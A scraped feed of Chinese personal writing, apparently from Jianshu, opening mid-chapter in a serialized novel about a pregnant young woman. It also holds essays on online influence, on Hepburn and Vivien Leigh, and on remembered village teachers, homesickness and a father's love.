    听经理这么一说,以晴有些惊喜,继而是伤心,因为她没法胜任了,现在的她根本没法好好工作,有时候上着班,她还是会偷偷掉眼泪。

    以晴低着头对经理说:“不好意思,我觉得自己的能力还不足,对于升职我是拒绝的。”

    经理以为以晴会很爽快地答应,没想到竟然得到这样的回复,“升职后,你的工资会翻两倍,你要不要考虑考虑?”

    以晴冷冷地回了句:“不考虑,谢谢经理的厚爱。”

    对于升职以晴期待了很久,现在机会就在眼前,可是她却无法抓住这样的好机会,想着想着以晴的眼泪又偷偷掉下来了。她努力控制自己的泪水,她担心别人发现她哭泣了。

    晚上睡觉时,以晴对向阳说起今天的事情,“今天我们经理让我升职了,可是我推掉了,现在的我根本无法全心投入到工作中去。期待了那么久的升职,现在一切都成了泡影,都怪你,我讨厌你。”

    “嗯,都怪我,都是我的错,让你当不成主管了。不过以后还多的是机会,我们家以晴那么优秀,以后别说是小小的主管了,连经理你也可以当。”

    以晴越想越生气,她别过头去,眼泪又流了下来。向阳知道以晴又在偷偷流眼泪了,他靠过去搂着以晴,以晴把他的手挣脱开,以晴不想理会他,也不想他碰她。

    不知道是因为怀孕的原因,以晴觉得自己变得特别敏感,特别小心翼翼,很在意别人对她的看法。

    即使佳灿很少回以晴的消息,可以晴还是习惯找佳灿聊天,有时候以晴也觉得自己有些犯贱。

    “出来”

    “出来”

    “出来聊天来,孕妇需要关爱。”

    “你现在还上班吗?干脆在家待产好了,上班那么辛苦,挤公交很危险。”

    “我还是想上班,不上班哪来的钱呢,我现在最需要钱,我要赚奶粉钱。”

    “钱以后还可以赚,眼前最重要的是要养好身体。”

    “没事,现在肚子还没大,还是可以上班的。”

    “好心疼你,你一定要好好的,知道吗?”

    以晴听到这里突然又心酸地流下眼泪,为什么自己突然就变得和别人不一样了,“我不想和别人不一样,不想看别人异样的眼光,可是……”

    “抱抱,没事的,我会一直陪着你。”

    佳灿始终还是觉得以晴没有出息,她觉得以晴有些犯贱,同居不会避孕吗?都是21世纪的人,避孕套是用来干嘛的。佳灿本来就有些讨厌向阳,现在以晴这样,她更加讨厌向阳了。

    以晴突然觉得自己没了方向,以前一直想努力工作,升职,赚钱,写小说,做什么都干劲满满。可现在的她不管做什么都没有了激情,她觉得自己一无是处。以晴害怕自己以后会变成一个遭人嫌弃的妇人,过着永远逛不完的菜市场和穿不完的地摊货的生活。想到这,以晴心里一阵发酸,眼泪又流了下来,以晴觉得自己好没出息,总是动不动就掉眼泪,可是真的很委屈,眼泪真的是自己偷偷跑出来的,她也没有办法。

    下一章|我的青春在深圳(28)

  • 说初心都已经太矫情了,但不矫情怎么说服自己继续下去

    说初心都已经太矫情了,但不矫情怎么说服自己继续下去

    文/陈紫媚  图/网络

    你有没有停下手头上的事、认真想过这个问题:“你到底为什么来到简书写作?”

    不是为了讨好而尴尬地追着哪个签约作者说好棒,不是为了感恩而尴尬地感谢简书给你的生活带来了翻天覆地的变化,不是为了唱反调而尴尬地骂别人的文章一文不值。

    只是关上门,只有自己时,平静地与自己对话:我到底为什么来到简书写作?

    我的答案是:我想变得有影响力!

    也许你跟我一样,怀揣着梦想来到这里,却因为一次次的被拒稿而心如死灰,甚至搁笔放弃。

    也跟我一样,曾看不上很多被推上首页的文章,却因为自己个位数的阅读量,而开始去研究、去尝试欣赏这些文章。

    跟我一样找不准自己的定位,想追热点,也想画个岁月静好的手帐,却发现自己一无所长。

    但今晚,当我真的想让自己的初心跃然于纸上,我才又记起了自己最初的目的:我想变得有影响力!

    说初心都已经太矫情了,但不矫情怎么说服自己继续下去

    勿忘初心

    01 有影响力才能传递更多的爱和友善

    你觉不觉得,这个社会变得越来越戾气?随处可以听见有人在骂傻逼,朋友圈转的文章都是咪蒙的贱人和low逼,别人的自拍下面毫不顾忌地批评别人怎么这么闲、每天发自拍……

    现在有影响力的作者都很坏,他们为了阅读量而刻意煽动读者的情绪;他们为了让自己的自私合理化,而臆造了很多极端的例子,来获得读者的共鸣;他们为了宣泄自己的不满与愤怒,而写文章,来让自己顺理成章地站着道德的制高点。

    咪蒙刚开始火起来的时候,我也是她的关注者之一,纯粹觉得看她的文章挺过瘾的。

    直到她的致贱人和致low逼刷爆朋友圈的时候,我意识到,这个女人好可怕。她个人的戾气极重,自私且心胸狭窄,但她却要说服她的读者跟她一起去骂自己身边的朋友。

    你想想,谁的身边没有一个两个这种不懂事的人,知道你是学英语的,就肆无忌惮的叫你翻译文章;知道你是去泰国玩了,就叫你代购。

    说实话,如果是朋友,又不是毫无原则经常对你提出类似的要求,自己这个时候又方便,那帮个忙就是了。如果不想帮,或者你不方便,那找个合理又不伤感情的理由不去帮也就可以了。何必去骂对方贱人,毕竟相识一场。何况,就算是对陌生人,也不能这么没有教养去骂别人贱人吧,毕竟对方真的没有伤害你什么啊。

    咪蒙的文章就是挑起了你人性里最野蛮的一面,她的行为也是最不可取的。

    自己不好意思拒绝别人,就闷着不说,硬着头皮帮别人,事后在朋友圈转咪蒙的致贱人。说实话,这种行为仿佛在告诉你的整个朋友圈,你们都是贱人,以后别来找我帮忙啊!

    但是难道你没有想过你也会有需要别人帮忙的时候吗?

    在这个社会,人人都可能是弱者,谁都免不了需要别人伸出援手,所以才需要我们平时乐善好施,以换来我们困难的时候,别人对我们的援助。

    可是你都已经在朋友圈骂别人是贱人了,等你真的有困难的时候,你还好意思恬不知耻,说朋友帮个忙么?

    我曾经在朋友圈说我不赞成咪蒙的很多观点,就被别人说我是喷子。那时我才意识到:

    在你牛逼之前的所有表述,都有可能被说成是傻逼。

    那也是我第一次那么想那么想变得有影响力。那也是我第一次来到简书。

    因为太多有能力的作者,他们心不善良,所以他们影响着这个社会,让这个社会也越来越不善良;而很多善良的普通人,他们没有能力为自己发声,根本没人听得见他们对这个社会的呼吁。

    所以我来到了简书,我想变得有影响力。

    说初心都已经太矫情了,但不矫情怎么说服自己继续下去

    善良比聪明更重要

    02 有影响力才能启发更多人去思考

    每每出现热点事件的时候,很多人其实是没有什么主见的。别人说是丈夫和婆婆逼死产妇的,他们就说丈夫和婆婆罪该万死;别人说能拯救那位产妇的只有她自己,他们就说那个产妇心理素质差、愚蠢;别人说其实产妇根本不是下跪祈求顺产,只是疼得跪下,他们就说其实罪魁祸首是医院……

    太多太多这样的吃瓜群众。

    很多作者追热点,但是他们并不启发读者去思考这个热点背后的真相,他们只为了博眼球,骗阅读量。

    如果他们能给这件事带来一点正面积极的影响还好,但现实是,他们从来都是搅乱事情的始作俑者。

    比如今天有一个作者,她写这个产妇,一口一个愚蠢,一口一个傻逼,一口一个心理素质差,说产妇死了只怪她自己。

    一个这样绝情绝义、丝毫没有理智,通篇都在骂人的作者,居然被很多人说她这是理性分析。这分明是为了显示自己与众不同的观点而刻意与善良的人性唱反调。

    这个作者通篇没有考虑过“人”的感受,她恐怕忘记了,她自己也有悲伤欲绝、痛不欲生的时候,她恐怕也有跟男朋友或者老公吵架到绝望的时候。通篇只是骂死者愚昧,自己不救自己,谁来救她……

    读罢,心寒。

    也就是在今天,我突然又想起了自己的初心,变得有影响力。

    不要再让这些冷酷无情、且不启发别人思考、只知道把自己内心的愤怒涂满整个网络的作者占据我们太多的视线。变得有影响力,才能削弱他们的势力。

    说初心都已经太矫情了,但不矫情怎么说服自己继续下去

    不要成为情绪的奴隶

    03 与更多的人一起成长一起进步

    不管是知乎还是简书,总是有一些大V会发起各种各样的活动,这些活动或关于阅读,或关于写作,或关于手绘,或关于健身……总之都是为了提升自己。

    大V们的活动总是能得到很多人的推崇,也有很多人的参与。

    这其实是一件好事,至少越来越多的人,都在努力成为一个更好的自己。

    但是不可否认,虽然有很多人在跟着他们做,但依然迷茫,依然觉得所做的一切都是然而并,依然不知道努力的意义。

    因为,大V们发起的活动,只适合ta自己以及一小部分跟ta相似的人啊,大部分人都不适合照搬他们的套路。

    因为,他们一开始就和大部分的普通人不一样,所以做了同样的事情,他们到了一个新的高度,而我们还停留在原地。

    又或者是因为,他们还有很多隐性知识没有告诉你,只把显性知识翻来覆去嚼碎给你。他们只告诉你做这件事,却没有告诉你其实ta还做了那件事。

    我也很茫然,所以我也懂茫然到底是一种什么体验。我想要摆脱茫然,也想有一天能
    带着大家一起摆脱它。

    我知道现在的自己在什么位置,我也有种蜜汁自信相信有一天我一定会变得牛逼。所以在通往牛逼的路上,我想把自己的这个过程都记录下来,所以我来到了简书。

    直到有一天,如果我也变得有影响力,那我在简书的所有成长轨迹拿走不谢。

    直到有一天,如果我也变得有影响力,我就知道怎么变得有影响力,我也就知道为什么有些人还不那么有影响力,我也就知道怎么带着大家一起去克服这些障碍。

    直到有一天,如果我也变得有影响力,除了号召更多人提升自我,更会提醒大家不要忘了善良。

    所以,我来到了简书。

  • 晨读感悟:时代的气质美人

    好莱坞黄金时代的女星们,各个都富有迷人而又独特的气质。她们的气质浑然天成,散发着无与伦比的美丽。

    01

    落入人间的天使

    晨读感悟:时代的气质美人

    赫本有一双小鹿般灵动的眼睛。也许很多人不知道,她在二战期间曾经为盟军收集情报,后来因为食物短缺,营养不良,才变得如此消瘦。

    赫本的美在于她的天真、善良。在《罗马假日》和《窈窕淑女》里,看到她你会不自觉的嘴角上扬。,她伟大的人格魅力,让人觉得这个世界充满了温暖和温柔的气息。

    无数的女性争相模仿赫本,以和她长相相似为荣。她不仅仅是演员,她是真正的明星。她从不追逐潮流,而是引领潮流。

    记得在拍摄《Tiffany的早餐》的时候,她还不够大牌到让Givenchy)纪梵希提供服装,只能自己去仓库挑选。她挑出了这条小黑裙成为经典中的经典。她崇尚自然、简约、舒适,有自己的时尚风格,从不会去刻意模仿。

    她没有丑闻,从她脸上能看到的永远是淡淡的微笑。

    她热爱生活热爱家人朋友,身边的动物,以及所有的孩子,为改善他们的生活而奔波。

    晨读感悟:时代的气质美人

    她成为了联合国儿童基金会亲善大使之后,在1992年为索马里的难民儿童问题发表演说,得到了全世界的关注。即使容颜已经老去,她身上的优雅却未曾减少一分。

    晨读感悟:时代的气质美人

    赫本过于完美,以至于不真实,在人们的心中,她的气质超越了凡人,变成了天使。她说:当你长大后,你会发现,你有两只手,一只手帮助自己,一只手帮助别人。

    02

    晨读感悟:时代的气质美人

    误入凡间的精灵

    如果说赫本是无可挑剔的美,所有人眼中毫无瑕疵的美人,那么费雯丽的美仿佛更有攻击性。她自己评价自己是一只蝎子。独特,美丽。又很伤人。

    晨读感悟:时代的气质美人

    费雯丽的美是一种古典美。她有一双动人的绿色眼睛,一瞬间让你陷入她的深情、她的柔情之中。她的笑脸,更是充满阳光,饱满的苹果肌,满满的胶原蛋白,充满了少女的天真无邪。

    费雯丽说最讨厌的词是漂亮,因为漂亮会让大家泯灭了她的演技。如果说赫本更多的是本色演出,而费雯丽是当之无愧的演技女王。

    费雯丽有着40年代对美追求的完美体现—精致的五官、纤细凹凸有致的身材、灵动俏皮的举止和温柔细腻的性格。费雯丽所扮演的角色因此大多顽强倔强却与悲剧命运相伴,心思细腻渴求爱情和自由的小妇人居多。她敢爱敢恨,果敢卓绝,勇于追求自己热爱的演艺事业。

    三部作品入围奥斯卡,两次获得最佳女演员奖。要不是她当年以舞台剧为主业,拍电影只是副业,我们能看到她更多的精彩表演。想当年我第一次看《魂断蓝桥》的时候,我就被她深深吸引。

    晨读感悟:时代的气质美人

    在《魂断蓝桥》中,玛拉即使是穿着窗帘布做成的裙子去赴会,也毫不逊色。一场战争让两人分离,再次相见早已物是人非。在蓝桥上再次相遇的时刻,玛拉是经历了何等的纠结和悲伤,心碎的从蓝桥坠下。费雯丽的每一个眼神都能把人物的心情无比准确的表达出来。

    《乱世佳人》费·雯丽捧回了奥斯卡小金人,从此世上再无其他人能演斯嘉丽。在战火中斯嘉丽奔走的背影,裙裾摆动。她的野性和骄傲,坚强与倔强,不甘弱示或屈服也只有费雯丽能诠释出来。

    费雯丽和赫本,一个是精灵,一个是天使;一个是完美的女人,一个是天真的女孩。她们的气质各异,却活出了各自的精彩,成为了好莱坞经久不衰的闪耀明星。

  • 怀念我的小学老师

          我的家乡是一个偏僻的农村,因为偏僻成了很多“问题”老师的贬谪地。我读小学时刚好遇上这些“有问题”的优秀老师,他们的教育对我产生深刻的影响,是我人生宝贵的财富,也是一段美好的记忆,至今我仍深深地怀念着他们。

          当时的农村是没有幼儿园的,孩子一切都是从零开始。记得第一节课,老师问大家姓名,很多同学以为是问生肖(潮汕话“姓什么”跟生肖的“肖什么”读音很近),有的说是猪,有的说是狗,搞得老师哭笑不得。

          一年级很多老师已记不起来,但方老师却永远铭记在我的心中,过了这么多年,想起来依然历历在目,仿佛她就在我眼前。

      方老师非常慈祥,常带着微笑,讲话轻声细语,在我幼小的心灵中像个可亲的大姐。方老师是普宁洪阳方氏,听说是当地名门望族,从小就有家庭老师,国学功底扎实,颇有大家闺秀的气质。她是我们的班主任,教我们语文,板书很整齐,写字娟秀端正,讲课循循善诱,常结合课文的字、词给我们讲故事,让我们听得津津有味,听完好像就懂了、记住了。

      记得有一节课,她在讲拼音,我在玩耍,她点名提问我,我不知道她问那个,就把那一课的词语都读了,其中印象最深的一个词是“留心听讲”。方老师没有打断我,笑眯眯的看着我,我如此“留心听讲”还读得头头是道,令其有点惊讶。之后她很关心我,还让我做班长,可是我十分调皮,没有做好表率,反而常带头闹翻天,以致其他老师颇有微词,方老师偶尔会提醒我,可从来都没有责骂我。

      方老师虽然品教兼优,但在那以“成份”论身份的年代,她却只能是一个代课老师,有些人有时候还会揶揄她“地主婆”。但方老师心态很平和,似乎并没有任何的委屈和不满,或许我们这帮农村孩子成了她最大的寄托。

          方老师的爱人是我们学校教导主任林老师。林老师平时很严肃,不苟言笑,我们都有点怕他。他很会管理学校,有他在,学校就安定。

       林老师教我们五年级的数学。他讲数学给我很多启迪,最深刻的是,他说公元前几百年,西方数学家、哲学家(毕达哥拉斯,当时记不住名字)说:“世界是数组成的”、“数学是最高贵的”。世界怎么可以是数组成?我十分疑惑,可那时对老师很崇信,也不敢断然去否定,但觉得很新奇,心想难道房子、饭菜也是数组成的吗?这太令人匪夷所思了。这一命题带给我长久纵深的思考,影响我的一生,使我对很多问题有不一样的看法,直到今天数码时代的来临,我们才惊叹古哲人的伟大,更被林老师的前瞻教育深深的折服。

       林老师不仅数学好,还是一位通才,几乎什么都会,其他老师有事,经常是他来代课。有一次他代上美术课,画了几个几何体素描,教我们用“透视法”观察物体、用“明暗法”表现物体,让我们觉得挺有趣,也学得像模像样。

       听大人讲,林老师是师范学院的高材生,本来分配在县城重点中学,因为与“成份”不好的方老师相恋,所以一起被贬到我们的村庄。小孩子不懂什么爱情,却因为觉得方老师很好,也在内心对林老师多了几分敬意。

      音乐老师也姓林,那时的小学只考语文、数学,其他科都是副科,音乐、美术更是象征性。可林老师教音乐,却把这个可有可无的科目教得有声有色。

          他就地取材,将当地的风土人情编成歌,如“水南埔,三百亩,三日无雨火烧埠,三日落雨水成湖……”、“树上一只小滴丢,一日到夜啾啾修,炮这响,走溜鸠……”(用潮汕话)等等,通俗易懂朗朗上口,至今我仍能随口哼歌几曲,感觉一点也不比白居易的诗词逊色。

          课堂上他常用一架破烂的风琴给我们伴奏,有时风琴坏了就用口琴,用“伴奏”来带领我们唱歌,防止我们跑调,这种反客为主的霸道伴奏,也是对付我们这些乐盲的好办法。

       林老师除了给我们上课,还常组织村里的青年男女大合唱、演小品、排戏剧,每逢重大节日或有革命活动就在大队的戏台演出,给落后的乡村带来不少歌声和欢乐。现在想起来,林老师是多么有才华,多么了不起!

          教历史的吴老师,是个“右派”分子,他为人十分正派,敢于直言,两个眼睛炯炯有神,咄咄逼人,那目光似乎就是历史的审视。他常说历史是判官,时间会校验一切是非曲直,教我们要“树正气  致良知”。他有侨亲,常穿一些舶来品,衣着一丝不苟,头发梳得很整齐,因此有人给他起个外号“西”,是西式、新潮的意思。

          “西”老师上课,从不看课本,好像课本那些记述太乏味。他常给我们讲典故:“要离刺庆忌”、“熊掌难熟”、“请君入瓮”、“土木堡之变”……每个故事都讲得绘声绘色,十分生动逼真。有时还穿插一些西方神话,最有意思的是讲丘比特:调皮的丘比特用金箭射阿波罗,让他爱上达芙妮,却用铅箭射达芙妮,让她厌恶爱情,最后达芙妮为逃避阿波罗的追求变成桂树,这就是桂冠的来历。听了这个故事我们自造弓箭,扮丘比特,射来射去,有时看到有猪来,就对着同学射“金箭”,然后笑那同学爱上猪,玩得真过瘾。

          最令人生畏的是教二年级数学的黄老师,他脚很长,有人给他起一个外号叫“长脚黄”。黄老师因为喊“毛主席万岁”时,中间打了个喷嚏,被视为不忠不敬,从县城流放到我们村。

          黄老师最大的特点就是“严”,严得近乎“酷”,我们都很怕他。他常拿着一支小木棍,谁不听话就打谁的手心或者小腿,虽然不会有伤,但非常疼。

          记得有一次他在上数学乘法表,我和邻桌几个趁他在黑板写字,偷偷的在玩,当时隔壁桌的同学说一句话:“华国锋检查当兵配乌榄”(不知道那弄出来的一句话),并拍一下我前面的同学的肩膀,那同学也没有反抗,我也跟着这样讲和拍了他,没想到他竟然哭起来。这下就麻烦,黄老师问明“元凶”,将小木棍朝我打过来,我一闪避开了,这一避激怒了他,看他气势汹汹朝我走来,我马上拔腿就往外跑,我跑了,黄老师将门关上,似乎不给我回去。我在课室外走来走去,也不知如何是好,这时刚好方老师看到,她过来问我,我将情况告诉她,以为她会骂我,可她并没有说我,而是进课室跟黄老师讲什么,一方沟通后方老师叫我进课室,但黄老师有个前提:就是要背好了乘法口诀才能坐下。我生怕挨那小木棍,硬着头皮,全神贯注的看了几遍,没想到竟然很快就背了出来。

          黄老师的严,对于我们这班常把课堂变“战场”的毛孩子来讲,刚好可以治治我们的野性,使我们用心去读书,很多人就是怕挨他的小木棍把数学读好。当年全县竞赛,我们班成绩都很好,我竟然还考了满分,而另外还有一位同学考了第六名,这是黄老师“严酷”的回报,也是那只小木棍“恐吓”的结果。对比现在老师的放任,我更怀念黄老师的严酷。

          最忧郁的是“眼镜老师”,称为“眼镜老师”是他在我们学校只教了一个学期就调走,我确实记不得他的姓名,只记得他戴着一幅眼镜。

          眼镜老
    师是潮阳人,听说家族出了两个国民党将军,革命来了大都跑到海外,留在大陆的有几个给枪毙。眼镜老师的父亲是位很老实的医生,所以他才免受牢狱之灾。

          眼镜老师毕业于中山大学物理系,他教我们四年级的数学和自然。记得他教数学有很多解题的怪方法,对难题挺管用,类似现在奥数。有时他出一些很特别的题,你用常用的方法解不了,然后他提示你倒过来、转个弯,或者合起来、分出去,问题就解决了。这些怪方法打开我们思维的另一扇门,使我们知道解决问题有多种路径。他教自然时说:“自然界就是电的世界”,我觉得似是又非,并没有多想。我们最喜欢看他发电,他弄一些旧电池什么的,搭些电线,还真把小灯泡点亮,让我们觉得很神奇。

          眼镜老师给我最深刻的印象就是那忧郁的表情。他戴一幅近视镜,眼神似乎很迷茫,嘴角常有一种苦笑的感觉,很多时候好像比别人更清楚,但却欲言又止。他除了在发电时有点精神,平时总心不在焉,也没有亲切感,整个人似乎与周围隔了一层薄薄的云雾。他在云雾里想出来又想逃离,犹豫中带着几分无赖与无助,现在想起来他的内心该是多么苦闷和悲凉!

          相比眼镜老师的忧郁,苏老师却最让人感伤。苏老师没有教过我,因为我上学的时候他已经死了,之所以要讲他,是村里的人常提起他,说他是我们学校大才子,而他倒在黎明前,令人无比惋惜和悲戚。

          记得苏老师常来我家喝茶,有时带一些宣纸和色料教我大哥画国画。听大哥讲,苏老师出生在资本家家庭,受过良好的教育,他会写很多种文章,赋写得很好,大哥曾抄了几篇,可惜没有保管好,已经找不到;他还会写诉讼状,这是专业的法律文书,很少人懂;更神奇的是他会讲流利的外语,这在当时于国家都是一流的人才,何况一个偏僻的村庄学校。

          苏老师的死,是在1976年盛夏的一个晚上。记得当时村里正在放电影,大家都在广场观看,电影散场后,有人在附近的一颗大树底下发现苏老师上吊死了。当时我还小,也不懂什么,奇怪的是,看到村里有些妇女,与苏老师非亲非故竟然嚎嚎大哭。那些妇女边哭边诉说:有的说苏老师帮他们写过信、写过请帖,有的说苏老师帮他们孩子起名字,有的说苏老师帮他们写过申诉书……,总之好像苏老师帮过很多人做了很多好事。几个月后革命结束了,可惜苏老师没有熬过最后的黑夜,试问那样的岁月,有多少人像苏老师一样,在绝望中萧然逝去!

          我大哥保存了苏老师一张黑白照片,每年那天都拿出照片,热泪盈眶对照片说些“悄悄话”,我也不自觉的哽咽。但愿苏老师在天堂做上帝的老师,让我们的社会少点悲剧。

          那个非常年代让许多英才流落穷乡僻壤,他们遭遇不幸,而对我们这些乡村的孩子却是格外的幸运。这些优秀的老师激发我广泛的学习兴趣,打下我扎实的知识基础,给我的思维插上翅膀,并教诲我秉承良知,独立思考,对比今天乡村里的孩子,哪有如此福分!所以对那个年代,我不得不保持一种谨慎的思考,或许这是黑夜里一缕别样的阳光。

            我祝愿老师们幸福,也期望乡村的孩子们能得到良好的教育,可这——昨天我们没做到,今天依然没做好!明天是否能更好?

    三虎    写于书房 2016年9月1日

  • 乡愁

    乡愁

    边城夕照

    大抵每个农村出来的人,都有一种故乡情结,伴随着这种情结的还有萦绕着的,淡淡的乡愁。这种情结,在三十岁以上的人群中尤甚。那种原生态的,田园式的生活,是我们永远回不去的甜蜜的痛。

    我常常在夜深人静时怀念这种生活,怀念清晨露水沾湿的双鞋,怀念傍晚斜阳拉长的背影。怀念春天时开满田野的野花,怀念秋天时风吹起伏的稻浪。怀念小伙伴们泥巴里的嬉戏打闹,怀念吃饭时妈妈悠长的呼唤。怀念天上的白云,怀念田里的稻垛,怀念星星,怀念蛐蛐,怀念煤油灯,怀念大黄狗,怀念白头翁,怀念故乡的一切……

    最后一次在老家长住是零九年,因为生病,在老家休养了一段时间。记得那年回去时,刚好临近端午。下午,客车停在镇上的客运站,我拖着行李箱,在宁静的街上缓步行走,心也随之而宁静起来。来到渡口,刚好赶上最后一班去村里的渡船。

    船在江面上逆水而行,两岸的景色缓慢地向后面移动,河边的水草和芦苇还是嫩绿的,像是刚摆脱了稚气的少年。河岸上长着各种各样的树,有速生的梧桐树,有垂柳,还有大樟树,老槐树。江的一边是平地,有着郁郁葱葱的田野和掩映在绿树中的村庄,江的另一边是起伏的山峦,山上同样是葱茏的绿色,但是人烟明显比另一边稀少。

    在青山绿树的倒映下,平静的江水呈现出一种迷人的深绿。渡船驶过的地方,碧波荡漾,偶尔惊起几只野鸭。

    四十分钟左右的航行之后,渡船停靠在了村庄的小码头上,我拖着疲惫的身躯下了船,走向了这片生我养我的土地。

    村庄里静谧而又安详,充满了熟悉的味道,虽然不像儿时那样热闹,但我的心松弛柔软下来了,因为它也知道,它到家了。

    在老家的那段日子里,我清晨去田野里锻炼,与清风露水作伴,白天在阶前看书,与小鸡幼犬为伍,黄花成熟时,每天帮着父亲赶在花开前采摘黄花,水稻成熟时,每天披星戴月,忙着收水稻。日子简单而纯净。

    在夜里,万籁俱寂,有月亮的夜晚,月色如水银泻地,柔软而有质感;有星星的夜晚,星光璀璨,银河清晰可见。睡前一般要看一两篇文章,睡梦中偶尔会梦到我的母亲。等醒来时眼中已是满噙泪水。

    村居虽好,为生计故,病好后我又回到了城市,看着眼前的喧嚣,恍若隔世。一年又一年,我在城市成家生子,回故乡的次数越来越少,每次回去也都是匆匆数日。

    我知道,我离故乡是越来越远了……

  • 《父亲写的散文诗》|这首歌里有我的爸爸

    文/筱安时光

    《父亲写的散文诗》|这首歌里有我的爸爸

    一九八四年 庄稼还没收割完  女儿躺在我怀里 睡得那么甜  今晚的露天电影 没时间去看  妻子提醒我 修修缝纫机的踏板  明天我要去 邻居家再借点钱  孩子哭了一整天哪 闹着要吃饼干  蓝色的涤卡上衣 痛往心里钻  蹲在池塘边上 给了自己两拳

    第一次听这首歌,是在《跨界歌王》上,姚晨动情的演绎,听后,我泪流不止。第二次听这首歌,是在今年的《中国好声音》,这首歌深情诠释了时光流淌后凝结出的父爱之诗。

    我的爸爸与这首歌里父亲的生活年代以及生活情景极其相似。

    一九八四年,我的爸爸二十二岁,家里穷,不用说自行车,就连表都买不起,高二没读完便辍学回家挣工分,而我就在那个时候出生了。妈妈是奶奶用自己的闺女与我姥姥换的闺女,当时连彩礼钱都准备不出来,我爸娶上媳妇就很不错了。

    印象中的爸爸总是背着行李卷出去打工的背影,一去就是两三个月,回来时要抱我,我便使劲往妈妈怀里钻。

    五岁那年看见别的孩子有小车骑,哭着喊着在地上打滚非要爸爸带我去买,可是他没钱啊,至于他有没有捶自己两拳,我想有,回想这段往事时,爸爸说当时看着我哭的小脸通红心疼不已。

    初中、高中、大学都在住校,回家的次数也从一星期到一个月再到只有寒暑假才回趟家,每次给爸爸打电话,他待的地方都不同,哪有活干哪就有他。

    15年暑假,我大学毕业,为找工作的事发愁,他比我还着急,念叨着自己没用,他只是个老实巴交的农民,因为穷高中没有上完便出去打工,三十年的打工生涯生生的磨灭了他当年的书生气。他无权无势,也不认识什么高官领导。

    可我从来没有怪过他,没有他哪有我。

    一次偶然的机会,我参加了特岗考试,顺利考上老师。

    15年的寒假,他没有出去干活,他的胃越来越不好了,犯恶心,吃不进去饭,越不吃饭胃越难受,越难受越不吃饭。我劝他去看看,他总是说没事,慢慢就好了。

    后来,他去村里的老中医那里看了看,开始喝闻着都让我嘴里犯苦水的中药。

    看着他越来越皱巴的脸,我的心里说不上来的滋味。

    16年暑假前,表妹的爸爸在外打工脑出血猝死,不到50岁,这个消息,让我心里一颤,有点恐慌。

    16年暑假,回到家,爸爸的情况越来越不好,他开始胡思乱想。

    他怨自己,闺女找工作时,他帮不上忙,他怨自己没有能力,赚不到钱,他怨自己给不了闺女好的生活。

    他怨自己,儿子马上高中毕业了,上大学的钱哪里来,上完大学去哪找工作,自己的病不好,一直在家里待着,赚不到钱。

    我没有哭,只是平静地告诉他,儿孙自有儿孙福,你养我们这么大,平安健康,我就很知足了,你在我心里很了不起。

    那个时候,妈妈在北京给姨姐看孩子,弟弟在县城上卢中,我在外地教学,家里只有爸爸一个人。

    爸爸一个人在家,没有人和他说话,他不喝酒,不玩牌,不善言辞,便就一个人躺炕上胡思乱想。

    一次偶然的机会,我鼓捣他的手机,发现他近一个月内凌晨三点多都会给我打电话。

    那个时候,我开始慌了,开始懊恼自己对爸爸的关心不够。

    爸爸需要的不是各种各样的养生食品,需要的不是各种各样填满手机的小说,他需要的是睡不着时,儿女的陪伴,哪怕只是简简单单的通过冰冷的手机温暖的话语。

    回到学校的第一个晚上,我便把手机的自动关机的设置给停了。

    第一个晚上,我没有接到电话。第二个晚上,我没有接到电话。连续好几个晚上,我都没有接到电话。

    我给奶奶打电话询问爸爸的情况,奶奶说还是老样子。

    晚上三点多,我给爸爸打去电话,只响了一声,爸爸便接起了,电话那头传来他似乎刚刚被吵醒时的声音,还责怪我这么晚了不休息,还吵醒他。

    挂了电话,我泣不成声,我知道爸爸根本就没睡,他依然夜夜凌晨三点多就醒来,然后睁着眼睛到天明。

    那以后,我经常凌晨三点多给爸爸打电话,他慢慢习惯着,开始絮絮叨叨的和我说话。

    他说,他第一次听见我软软的叫“爸爸”,哭了。

    他说,我小时候最喜欢玩骑大马,经常尿他一身。

    他说,他出门打工好几月才回来,有一次晚上回来,要抱我,四五岁的我在他怀里哇哇大哭,因为我忘记他是谁了。

    他说,我小时候看见别的孩子有小车骑,非得要,可是他没钱给我买,看着我哭的小脸通红心疼不已。

    他说,我很乖,懂得照顾弟弟,小小的手拍着弟弟睡觉,那画面,让他觉得自己这辈子值了。

    他说,他很骄傲,因为我每次考试都给他捧回来奖状。

    他说,我不如小时候可爱了,越长大越不爱和他说话了。

    每次,我都流着泪伴着他沙哑的声音入睡。

    那些中药起了作用,他的胃也好了很多很多。

    《父亲写的散文诗》|这首歌里有我的爸爸

    一九九四年 庄稼早已收割完  我的老母亲去年 离开了人间  女儿扎着马尾辫 跑进了校园 可是她最近 有点孤单瘦了一大圈 想一想未来 我老成了一堆旧纸钱 那时的女儿一定 会美得很惊艳 有个爱她的男人 要娶她回家可想到这些 我却不忍看她一眼

    我要结婚了,不知道婚礼中爸爸的心情,我想,他肯定不好受。

    有一年春晚,看冯巩的小品《小棉袄》,看到一半,爸爸突然走出去,回来时眼睛有些红,这个世界上,除了他,不介意我素颜邋里邋遢,嫌弃我身上的肉少,找不到二个男人了,这个世界上最爱我的男人已经娶了妈妈。

    距离我的婚礼还有一个半月,每次打电话和爸爸谈到这个事时,爸爸总是沉默好一会。然后说自己累了,便把电话挂掉。

    如今的他,白发夹杂黑发,曾经高大的他也变得有些佝偻了,他害怕我出嫁,我何尝不害怕再也见不到他。

    这是我父亲 日记里的文字 这是他的青春 留下留下来的散文诗 几十年后 我看着泪流不止 可我的父亲已经 老得像一个影子

    这是我父亲 日记里的文字 这是他的生命 留下 留下来的散文诗 几十年后 我看着泪流不止 可我的父亲已经老得像一张旧报纸 旧报纸 那上面的故事 就是一辈子

    没有找见过爸爸留下的日记,可爸爸对于我,就是一段优美的散文诗,他是我的信仰和支撑,哪怕老得像一个影子,依然爱他,如他依然爱我一样爱他。


    简书第49篇文章。

    听着这首歌,超级想念我的爸爸。